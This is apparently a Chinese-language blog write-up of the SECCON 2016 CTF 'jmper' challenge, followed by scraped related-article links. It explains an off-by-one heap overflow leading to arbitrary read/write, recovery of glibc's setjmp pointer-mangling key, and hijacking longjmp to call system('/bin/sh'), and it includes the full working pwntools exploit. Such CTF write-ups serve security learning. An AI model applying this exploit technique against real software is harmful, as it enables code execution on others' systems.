前言

这个是 seccon-ctf-quals-2016 的一个题,利用方式还是挺特殊的记录一下。

题目链接

http://t.cn/RnfeHLv

正文

首先看看程序的安全措施

haclh@ubuntu:~/workplace/jmper$ checksec jmper
[*] '/home/haclh/workplace/jmper/jmper'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

开了 Full RELRO, 所以不能修改 got 表了。

分配了两个大内存,一个作为一个全局表,用于存放程序中用的结构体指针, 一个作为 jmpbuf, 用于在 longjmp 时跳转回来。

接下来就是 f 函数,程序主要的逻辑在这里面。

** Add student**

最多的可以创建 0x1dstudent, 如果已经创建满了的话就 longjmp 返回到 main 函数结束程序。创建时会分配两个堆内存。

结构体类型大概为

分配第一个 student 时的 内存布局为

** Name student**

输入 id, 然后在 myclass 里面找到相应的地址,取出 name_ptr ,向里面写入内容,注意循环条件

for ( i = 0; i <= 0x20; ++i )

我们可以写入 0x21 个字节,我们分配的内存为 0x20, 可以有 一字节的 溢出,不过这里我们不能控制 分配的大小以及 释放堆块, 无法使用 overlap-heap 利用。继续往下看。

Write memo

类似的操作,依旧可以溢出 memo 的 一个字节, 在 memo 后面存放的是 name_ptr 所以我们可以修改 name_ptr 的最低字节.

有一个小知识,如果内存分配的顺序大小不变,各个内存块相对于堆基地址的偏移是固定的,所以修改 name_ptr 的最低字节,我们可以使得 name_ptr 指向和 它距离较近的堆块。

这里的话直接修改为下一个堆块的 name_ptr 的地址, 然后利用 name student 就可以修改下一个堆块的 name_ptr,再利用后面的  Show Name 功能就可以实现 任意地址读写。

以后通过

set_name(0, p64(addr))
getname(1)

就可以实现任意地址读

通过

set_name(0, p64(addr))
set_name(1, data)

就可以实现任意地址写

现在的问题是往哪写,写什么。

当新增的student的人数到限制后,会调用longjmp, 我们来看看 调用 longjmp 时做了什么

进入函数时 rdijmpbuf  的地址,可以看到,在 jmpbuf + 0x38 处存放了加密后的 rip, 进入 longjmp会先解密 出 rip 然后跳转。

mov     rdx, [rdi+38h]
ror rdx, 11h
xor rdx, fs:30h

jmpbuf 在堆中,如果我们可以 拿到 fs:30h 然后修改 jmpbuf + 0x38 ,我们就可以控制执行流了。

longjmp 跳转的地址其实就是 调用 setjmp 的下一条指令(0x400C31

又由于 xor 是可逆的,所以我们可以通过

mov     rdx, [rdi+38h]
ror rdx, 11h
xor rdx, 0x400C31

得到 fs:30h

至于重新的加密 rip 的过程,可以看 setjmp 的实现

所以总的利用思路

  • 利用 off-by-one 获取任意地址读写的能力
  • 利用 student 2name_ptr 泄露堆地址
  • 获取 jmpbuf + 0x38 的值,计算 fs:30h 的值
  • 重新计算值写入 jmpbuf + 0x38 , 同时往 jmpbuf 开头写入 ``/bin/sh\x00

参考

https://github.com/ctfs/write-ups-2016/tree/master/seccon-ctf-quals-2016/exploit/cheer-msg-100

最后的 exp:

#/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import * # context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info')
p = process("./jmper") def ror(reg, count):
src = bin(reg)[2:]
src = "0" * (64 - len(src)) + src
# print(src)
# print(src[-count:] + ":::" + src[:64 - count])
return int(src[-count:] + src[:64 - count],2) def rol(reg, count):
src = bin(reg)[2:]
src = "0" * (64 - len(src)) + src
# print(src)
# print(src[:count] + ":::" + src[count:])
# print(src[count:] + src[:count])
return int(src[count:] + src[:count],2) def add():
p.recvuntil("Bye :)")
p.sendline("1") def set_name(index, name):
p.recvuntil("Bye :)")
p.sendline("2")
p.recvuntil("ID:")
p.sendline(str(index))
p.recvuntil("Input name:")
p.sendline(name) def write_memo(index, data):
p.recvuntil("Bye :)")
p.sendline("3")
p.recvuntil("ID:")
p.sendline(str(index))
p.recvuntil("Input memo:")
p.sendline(data) def getname(index):
p.recvuntil("Bye :)")
p.sendline("4")
p.recvuntil("ID:")
p.sendline(str(index)) gdb.attach(p,'''
# bp 0x0400B03
# bp __sigsetjmp
c
''') pause() add() # get stu 0
set_name(0, "/bin/sh\x00")
write_memo(0, "b"*8) add() # get stu 1
set_name(1, "c"*8)
write_memo(1, "d"*8) write_memo(0, "b"*32 + "\x78") # 设置 student0 的 name_ptr 指向 student1 的 name_ptr 的位置
log.info("此时 0's name_ptr--> 1's name_ptr的地址")
pause() getname(0)
heap = u64(p.recv(3) + "\x00" * 5) - 656
log.info("heap的基地址: " + hex(heap))
pause() set_name(0, p64(0x0601FA8+1))
log.info("1's name_ptr ---> printf@got+1")
pause() getname(1)
printf_addr = u64("\x00" + p.recv(5) + "\x00" * 2)
libc = printf_addr - 350208
system = libc + 283536
longjmp = libc + 0x352F0 log.info("libc: " + hex(libc))
log.info("system: " + hex(system))
log.info("longjmp: " + hex(longjmp))
pause() jmpbuf = heap + 0x110
saved_rip_addr = jmpbuf + 0x38 # 获取 saved_rip_addr 处的数据
set_name(0, p64(saved_rip_addr))
getname(1)
saved_rip = u64(p.recv(8))
xor_key = ror(saved_rip, 0x11) ^ 0x400C31 new_saved_rip = rol(system ^ xor_key, 0x11) log.info("saved_rip: " + hex(saved_rip))
log.info("xor_key: " + hex(xor_key))
log.info("new saved_rip: " + hex(new_saved_rip) )
pause() set_name(1,p64(new_saved_rip)) set_name(0, p64(jmpbuf))
set_name(1,"/bin/sh\x00") log.info("set jmpbuf: /bin/sh\x00.....")
pause() for x in xrange(0x1e - 2):
add() log.info("call longjmp")
pause()
add()
p.interactive()

Pwn With longjmp的更多相关文章

  1. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  2. C 语言中 setjmp 和 longjmp

    在 C 语言中,我们不能使用 goto 语句来跳转到另一个函数中的某个 label 处:但提供了两个函数——setjmp 和 longjmp来完成这种类型的分支跳转.后面我们会看到这两个函数在处理异常 ...

  3. 非本地跳转之setjmp与longjmp

    非本地跳转(unlocal jump)是与本地跳转相对应的一个概念. 本地跳转主要指的是类似于goto语句的一系列应用,当设置了标志之后,可以跳到所在函数内部的标号上.然而,本地跳转不能将控制权转移到 ...

  4. longjmp setjmp and volatile

    /******************************************************************************* * 版权所有: * 模 块 名: * ...

  5. setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto

    目录 . 应用场景 . Use Case Code Analysis . 和setjmp.longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Over ...

  6. 使用signal、setjmp、longjmp进行Linux/Android C异常处理

    #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <setjmp.h&g ...

  7. C中的setjmp与longjmp

    setjmp与longjmp是属于C语言中的,当然,C++也会有这两个函数了.他们的原型如下: int setjmp( jmp_buf env ); 作用:第一次调佣时,将寄存器的当前状态信息全部存入 ...

  8. setjmp 与 longjmp

    setjmp和longjmp是C语言独有的,只有将它们结合起来使用,才能达到程序控制流有效转移的目的,按照程序员的预先设计的意图,去实现对程序中可能出现的异常进行集中处理. 先来看一下这两个函数的定义 ...

  9. 在信号处理函数中调用longjmp

    错误情况及原因分析 前两天看APUE的时候,有个程序要自己制作一个sleep程序,结果在这个程序中就出现了在信号处理函数中调用longjmp函数的情况,结果就出现了错误,具体错误是啥呢,请参见下面这段 ...

随机推荐

  1. 原生js动态添加style,添加样式

    原生js动态添加style,添加样式 第一种 var style="[assign-url='"+str+"']{display:initial}"; var ...

  2. Python -- Windows编程 -- 注册表

    1.查询开机自启项 startUp.py import re import win32api, win32con def GetValues(fullname): #分割出基本项name[0] nam ...

  3. Nodejs学习笔记(十三)—PM2

    简介 PM2 pm2是一个内置负载均衡的node.js应用进程管理器(也支持Windows),其它的类似功能也有不少,但是感觉pm2功能更强,更值的推荐 GitHub地址:https://github ...

  4. 短视频APP是如何开启你的美好生活的?

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由腾讯视频云终端团队发表于云+社区专栏 常青, 2008 年毕业加入腾讯,一直从事客户端研发相关工作,先后参与过 PC QQ.手机QQ. ...

  5. Visual Studio使用阿里云Code Git服务器的常见问题

    使用Github的服务器太慢,阿里的https://code.aliyun.com的国内服务器还是很快的.但是使用阿里的Git服务器总是有些地方出问题,现记录下常见的问题: 1.如提示源码已在TFS管 ...

  6. 记laravel5.5项目php-fpm迁移到swoole4.2.9

    事起说明 最近对上线半年多的laravel项目做了一次少大的改动,由php-fpm改为swoole,这里做个记录. 2019年过年前半个月,上阿里云后台查看前一天的访问请求日志,发现很多接口响应慢.翻 ...

  7. 任务三十七:UI组件之浮出层

    任务三十七:UI组件之浮出层 面向人群: 有一定JavaScript基础 难度: 低 重要说明 百度前端技术学院的课程任务是由百度前端工程师专为对前端不同掌握程度的同学设计.我们尽力保证课程内容的质量 ...

  8. IOS项目之弹出动画一

    小区宝首页导航栏左边有一个物业按钮,点击时会出现一个视图动画,之前用的是一个POP第三方,想着几个POP动画就要引用一堆的第三方有点麻烦,就试着自己写了一下,功能实现了,下一步就是优化将其封装一下.下 ...

  9. [javaSE] 数组(排序-冒泡排序)

    两层嵌套循环,外层控制循环次数,内层循环进行比较 for(int x=0;x<arr.length-1;x++){ for(int y=0;y<arr.length;y++){ if(ar ...

  10. MyBatis和Hibernate的优缺点对比。

    Hibernate的优点: 1.hibernate是全自动,hibernate完全可以通过对象关系模型实现对数据库的操作,拥有完整的JavaBean对象与数据库的映射结构来自动生成sql. 2.功能强 ...